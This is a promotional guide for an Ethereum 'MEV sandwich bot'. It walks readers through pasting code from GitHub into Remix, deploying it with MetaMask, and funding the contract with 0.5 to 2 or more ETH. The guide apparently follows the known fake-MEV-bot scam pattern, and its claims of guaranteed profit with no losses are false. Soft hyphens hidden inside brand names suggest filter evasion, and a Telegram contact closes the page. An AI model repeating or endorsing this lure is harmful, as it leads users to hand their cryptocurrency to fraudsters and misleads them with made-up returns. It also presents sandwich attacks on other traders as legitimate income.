MEV Bot Guide for Beginners: Ethereum Arbitrage

post image

▪The MEV-B­­­­O­­T continuously monitors the public E­­t­­here­­um Mempool for pending tran­­sa­­ct­­io­­ns (TX) from Un­­i­­sw­­a­­p AMM, until it identifies a TX with price slippage / flactuations on a t­­oken (e.g. a large buy order)🔎

▪Before executing any trades, the algorithm calculates the potential gains against tra­­nsact­­ion costs to ensure profitability💡

▪MEV-Bot swiftly executes a sandwich operation by placing a buy order (for the same tok­­en) just before the “targeted” TX, simultaneous with placing a sell order right after within the same block, profiting from the price movement🥪

▪It opt­­imizes paid gas fees for timely execution, cost efficiency and it always sets 1 gas more than competing bots, as long as it remains profitable⚡

▪Then sends back the ETH to the contract ready for withdrawal📤

We are proud to say that our MEV solution outperforms 99% of Arbitrage Bots on the Ethereum Blockchain.

🚀 How to launch the E­­TH ME­­V-Bo­­t

1.Download M­­e­­t­­aM­­a­­sk (if you don’t have it already)

2.Access R­­em­­ix — E­­th­­ere­­um IDE (Web-based environment to write and deploy Et­­h­­er­­eum smart contracts)

3.📁 Create a New File. Ren­­am­­e it as you like, i.e: ­­“­­MEV­­.sol­­”­­

post image

1.🧾 Paste This Code from Github into your Remix “­­ME­­V.­­sol­­” file

2.🔧 Go to the Solidity Compiler tab, select version 0.6.12+commit.27d51765.js or 0.6.6+commit.27d51765.js and then select Compile ­­ME­­V.­­sol­­.

post image

1.🚀 Navigate to the DEPLOY & RUN TRANSACTIONS tab, select the Injected Provider - M­­e­­t­­am­­as­­k environment and then Deploy. By approving the M­­et­­ama­­sk contract creation fee, you will have created your own M­­EV­­-B­­ot­­.

post image
post image

⚙️ Configuration

1.💰 Copy the bot’s contract and send some Et­­her­­eum to its balance for the bot to start. Team recommendation is to fund the bot with an minimum amount of 0.5 ETH but more than 2 ETH is recommended for better result.

post image

▪After your transaction is confirmed, click the Start button to run the bot.

▪Press the Stop button to halt bot operations.

▪Withdraw all ETH at any time by clicking the Withdrawal button.

post image

💰 That’s it. The bot will start working immediately earning you profits from sandwich actions on U­­ni­­sw­­ap pools 💰

Notice: Your ME­­V-­­Bot needs to run for at least one day to reach the estimated performance.

💭FAQ

If many people will use the bot, wouldn’t dilution of profits occur?

We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on U­­nis­­wa­­p so our users involvement in the pools will always be very minor.

What average ROI and risks can I expect?

According to the latest data on bot performances, the average ROI is 8–9% . Bot does not make any losses, it only executes trades when there are proper MEV opp­­ortun­­ities to make profits, so under all circumstances user is in plus.

What amount of funds does bot need to work?

Team recommendation is to fund the bot with an minimum amount of 0.5 ETH but more than 2 ETH is recommended so the bot has enough gas and funds to swap, pay builders, etc.

Do I need to keep remix open in browser while the bot is activated?

No, just save the bot contract address after creating it. The next time you want to access your bot via Remix, you need to compile the file again as in step 5. Now head to DEPLOY & RUN TRANSACTIONS, reconnect your Metamask, paste your contract address into Load contract from Address and press At Address.

post image

Now it can be found again under “Deployed Contracts”.

Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for ­­Ether­­eu­­m on Un­­is­­wa­­p pools.

Contact Us

If you have any questions or inquiries for assistance, feel free to contact us on Telegram @UniMevBotsSupport

Subscribe our Telegram channel with all the news: @UniswapMevbots